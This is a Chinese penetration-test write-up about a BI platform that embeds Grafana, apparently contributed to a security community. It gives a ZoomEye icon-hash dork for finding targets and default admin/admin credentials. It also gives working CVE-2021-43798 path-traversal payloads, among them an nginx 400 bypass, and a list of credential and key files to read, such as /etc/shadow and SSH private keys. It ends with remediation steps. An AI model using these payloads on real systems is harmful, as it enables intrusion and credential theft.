某易BI平台渗透之旅
平台 之旅 渗透 BI
2023-06-13 09:17:23 时间
0x01 前言
这篇文章由"潇湘信安技术交流群"@天明师傅投稿,记录的是他在公司某个安服项目中碰到了这个BI平台,机缘巧合之下发现了这个通用漏洞,特意投稿分享下经验。
0x02 渗透之旅
刚开始采用awvs、afrog和nuclei进行全量的漏洞扫描时未有任何发现,后面尝试目录探测时有了新的发现。
峰回路转之dirsearch的救赎
[09:42:33] 200 - 32KB - /monitoring/
[09:42:33] 200 - 32KB - /monitor/
[09:42:33] 200 - 32KB - /monitoring
[09:42:34] 200 - 32KB - /monitor
[09:41:39] 200 - 751B - /callback
/monitoring/、/monitor/这俩路径绝对会触发302跳转,callback则是随机,可能触发跳转。
这个就是今天的主角。
正常请求BI平台:
zoomeye dork
iconhash:"dfbaaf8af7911cfb7eb068d8b19f6799"
影响范围:仅在V 7.20版本测试成功。
版本号可以根据页面当中的用户手册来判断。
思路1-默认口令
默认口令:admin admin,不知道其他目标如何,至少我碰上的目标未修改。不过即使修改了也无伤大雅,有一个文件读取漏洞等着你,可以搞到grafana的账号密码。
思路2-Grafana文件读取
CVE-2021-43798这个漏洞信息的部分可自行百度了解,此处单刀直入,直接说利用细节。
最初的验证POC为:
/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd
此处利用应修改为:
/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd
注:一般情况下就成了,如果对方使用了nginx/apache反代,中间件的URI_normalization机制导致URL被标准化。此时原有payload就会失效,服务端会爆400错误。如下图所示:
# proxy_grafana.conf
server {
listen 8081;
server_name 127.0.0.1;
charset utf-8;
location / {
proxy_pass http://192.168.1.100:3000;
}
}
此时可采用bypass 400的payload进行绕过,payload为:
/monitor/public/plugins/text/#/../../../../../../../../../../etc/passwd
深入利用
/etc/grafana/grafana.ini #grafana控制台的管理员明文密码
/var/lib/grafana/grafana.db #控制台其他账户
/etc/grafana/grafana.ini
linux文件遍历,此处只举出比较重要的,更全面的可以参考Web-Fuzzing-Box的Linux_File.txt
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
关于nginx proxy error 400相关文章可参考,这里我用的是第二篇文章里的一个payload。
https://articles.zsxq.com/id_baeb9hmiroq5.html
https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/#_Nginx_400
关于CVE-2021-43798的修复
- 升级到安全版本,即版本号>8.3.0。
- 临时防御:修改proxy_grafana的配置如下所示:
Tips:重点是proxy_pass的端口号后一定要加上/
# proxy_grafana.conf
server {
listen 8081;
server_name 127.0.0.1;
charset utf-8;
location / {
proxy_pass http://192.168.1.100:3000/;
}
}
0x03 参考文章
https://github.com/jas502n/Grafana-CVE-2021-43798
https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/
相关文章
- LiveGBS流媒体平台GB/T28181功能-视频直播流快照的安全控制配置播放回调鉴权接口控制播放权限
- 完美!这份阿里P8基于电商平台讲解微服务架构设计开发运维笔记
- Java项目分享-基于 SpringBoot + Vue 的智能停车场管理平台
- PICO品牌全新升级,致力成为领先的世界级XR平台
- 在openstack云平台中,使用命令行创建云主机操作步骤
- 15 款企业级零代码开发平台推荐,总有一款是你心仪的
- Django自动化测试平台项目案例
- 跨全平台高性能HttpClient尝试用OpenSocket开发设计
- 【Android 命令行工具】Android 命令行工具简介 ( 官方文档 | SDK 命令行工具 | SDK 构建工具 | SDK 平台工具 | 模拟器工具 | Jetifier 工具 )
- SkeyeVSS视频共享融合赋能平台技术方案之AI视频智能分析中台子系统功能设计
- Java开源生鲜电商平台-优惠券设计与架构(源码可下载)详解编程语言
- 外卖小哥撞上劳斯莱斯负全责?平台称事故还未定责
- 探索Linux平台的直播之旅(linux直播软件)
- 阿里巴巴构建MongoDB大数据平台(mongodb阿里巴巴)
- 解决Linux平台硬盘驱动问题(linux硬盘驱动)
- 虚拟主机wdCP平台上Linux虚拟主机的实力之旅(wdcplinux)
- 光缆中断,腾讯服务器崩溃:腾讯云、微信、腾讯游戏等平台受影响
- Redis在Windows平台的应用(rediswindow)
- 深入了解MySQL在x86平台下的性能表现和优势(mysql下x86)